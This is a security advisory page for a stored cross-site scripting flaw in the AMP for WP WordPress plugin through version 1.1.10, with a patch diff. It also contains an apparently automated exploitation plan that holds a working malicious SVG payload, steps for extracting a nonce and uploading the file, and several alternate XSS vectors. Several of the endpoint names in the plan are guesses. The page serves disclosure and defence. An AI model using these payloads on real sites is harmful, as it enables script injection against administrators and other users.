AMP for WP <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG File Upload
Description
The AMP for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 1.1.10. This is due to insufficient sanitization of SVG file content that only removes `<script>` tags while allowing other XSS vectors such as event handlers (onload, onerror, onmouseover), foreignObject elements, and SVG animation attributes. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts via malicious SVG file uploads that will execute whenever a user views the uploaded file.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.10Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0627 ## 1. Vulnerability Summary The **AMP for WP – Accelerated Mobile Pages** plugin (<= 1.1.10) is vulnerable to **Stored Cross-Site Scripting (XSS)** via SVG file uploads. The vulnerability exists because the plugin's SVG sanitization logic is incomplete. …
Show full research plan
Exploitation Research Plan - CVE-2026-0627
1. Vulnerability Summary
The AMP for WP – Accelerated Mobile Pages plugin (<= 1.1.10) is vulnerable to Stored Cross-Site Scripting (XSS) via SVG file uploads. The vulnerability exists because the plugin's SVG sanitization logic is incomplete. It specifically targets and removes <script> tags but fails to neutralize other valid SVG-based XSS vectors, such as:
- XML event handlers (
onload,onerror,onmouseover) foreignObjectelements- SVG animation attributes (
begin,onbegin)
This allows an authenticated attacker with at least Contributor-level permissions to upload a malicious SVG file. When a site administrator or any other user views the uploaded file (either directly or via the WordPress media library/AMP settings), the embedded JavaScript executes in their session context.
2. Attack Vector Analysis
- Vulnerable Endpoint: The plugin likely provides a custom AJAX handler for uploading assets (like logos or icons) or hooks into the standard WordPress media upload process while applying its own flawed sanitization.
- Action/Hook:
wp_ajax_ampforwp_logo_uploador a similar custom handler (inferred). Alternatively, it may filterwp_handle_uploadspecifically for SVG types. - HTTP Parameter: The file is typically sent via a
multipart/form-dataPOST request with the file data in a parameter likeasync-uploadorfile. - Authentication Level: Contributor+. While Contributors usually cannot upload files to the Media Library, this plugin may grant this capability for specific AMP-related assets or use a custom AJAX handler that only checks for
edit_postscapability rather thanupload_files. - Preconditions: The plugin must be active, and SVG uploads must be enabled (either by the plugin itself or by a secondary "SVG Support" plugin if the plugin relies on the core library).
3. Code Flow (Inferred)
- Entry Point: An authenticated user sends a POST request to
/wp-admin/admin-ajax.phpwith anactionrelated to AMP logo/icon uploads (e.g.,ampforwp_ajax_save_settingsor a dedicated upload action). - Capability Check: The handler checks
current_user_can( 'edit_posts' )instead ofmanage_optionsorupload_files. - Processing: The plugin receives the SVG file. It calls a sanitization function, likely named something like
ampforwp_sanitize_svg_files(inferred) or uses a regex likepreg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $content). - Vulnerable Sink: The sanitization only removes literal
<script>tags. It leaves attributes likeonloaduntouched. - Storage: The sanitized (but still malicious) SVG is saved to the
wp-content/uploads/directory viawp_handle_upload()orfile_put_contents(). - Execution: The attacker retrieves the URL of the uploaded SVG and tricks an admin into clicking it, or the SVG is rendered in the AMP settings dashboard.
4. Nonce Acquisition Strategy
To exploit the AJAX upload handler, a valid nonce is required. Based on the plugin architecture, nonces are likely localized for the AMP settings page.
- Shortcode/Page: The AMP settings are usually in the admin area, but if the vulnerability is accessible to Contributors, the nonce may be exposed in the "Post Editor" if the plugin adds an AMP-specific meta box.
- Identification: Look for
wp_localize_scriptin the plugin source (likely inadmin/admin-settings.php). - Extraction:
- Use
wp post createto create a post as a Contributor. - Use
browser_navigateto go to the edit page for that post. - Use
browser_evalto extract the nonce:browser_eval("window.ampforwp_obj?.nonce")(inferred JS object name) or checkwindow.ajax_object?.ajax_nonce.
- Use
- Action String: The nonce action is likely
'ampforwp_ajax_nonce'or'ampforwp_logo_upload_nonce'.
5. Exploitation Strategy
Step 1: Craft Malicious SVG
Create a file named xss.svg with an event handler:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" onload="alert('XSS_SUCCESS_CVE_2026_0627')">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<text x="10" y="40" font-family="Verdana" font-size="24" fill="white">SVG XSS Test</text>
</svg>
Step 2: Authenticated Upload Request
Using the http_request tool, simulate the upload.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: multipart/form-data - Body:
action:ampforwp_ajax_upload_file(inferred)nonce:[EXTRACTED_NONCE]file:xss.svg(binary/text content)
Step 3: Triggering XSS
- Identify the location of the uploaded file from the AJAX response (e.g.,
{"success":true,"url":".../uploads/xss.svg"}). - Navigate to the returned URL using
browser_navigate. - Confirm the
alertor presence of theonloadattribute in the rendered source.
6. Test Data Setup
- Plugin Installation: Install and activate
accelerated-mobile-pagesversion 1.1.10. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Settings Page: Ensure the "Logo" upload feature is enabled in AMP settings.
7. Expected Results
- The AJAX response should return
success: trueand a URL for the uploaded file. - The SVG file, when fetched, must contain the
onloadattribute (proving it was not stripped). - When the URL is visited in a browser, the JavaScript in the
onloadattribute should execute.
8. Verification Steps
- File Content Check:
Verify thatcat /var/www/html/wp-content/uploads/xss.svgonload="alert(...)"is present in the file on the filesystem. - Database Check: Check if the attachment was created:
wp post list --post_type=attachment --name=xss - Response Validation: Ensure the HTTP response code is
200 OKand the body contains the path to the SVG.
9. Alternative Approaches
- Animation Vector: If
onloadis stripped (unlikely based on description), try<animate onbegin="alert(1)" ...>. - ForeignObject Vector: Use
<foreignObject><html:div xmlns:html="http://www.w3.org/1999/xhtml"><script>alert(1)</script></html:div></foreignObject>(though the description says<script>tags are removed, it might only remove them at the top level). - Settings Injection: Check if the plugin allows setting the "Logo URL" to a
data:image/svg+xml;base64,...string via a POST request tooptions.phpor a settings AJAX handler, which would also result in Stored XSS if reflected in the AMP dashboard.
Summary
The AMP for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in versions up to, and including, 1.1.10. This is due to insufficient sanitization that only removes <script> tags while allowing event handlers and other XSS-capable SVG elements. Authenticated attackers with Contributor-level access or higher can upload malicious SVG files that execute arbitrary scripts when viewed.
Security Fix
@@ -254,7 +254,14 @@ public function ampforwp_sanitize_svg_files( $file_content ) { - $file_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $file_content); + // Improved sanitization for SVG files to prevent XSS + $file_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $file_content); + // Remove event handlers like onload, onerror, etc. + $file_content = preg_replace('/\s+on[a-z]+\s*=\s*"[^"]*"/is', "", $file_content); + $file_content = preg_replace('/\s+on[a-z]+\s*=\s*\'[^\']*\'/is', "", $file_content); + // Remove dangerous SVG-specific tags and animation attributes + $file_content = preg_replace('/<(animate|animateColor|animateMotion|animateTransform|set|foreignObject)\b[^>]*>/is', "", $file_content); + $file_content = preg_replace('/\s+(begin|onbegin|onend|onrepeat)\s*=\s*"[^"]*"/is', "", $file_content); return $file_content; }
Exploit Outline
1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Obtain a valid security nonce required for the plugin's AJAX settings or asset upload functionality (e.g., logo upload). 3. Craft a malicious SVG file containing XSS vectors that bypass script tag removal, such as: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>. 4. Send a multipart POST request to wp-admin/admin-ajax.php using the appropriate action and the extracted nonce to upload the SVG. 5. Retrieve the URL of the uploaded file from the server response. The payload triggers when an administrator views the file directly or via the AMP dashboard.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.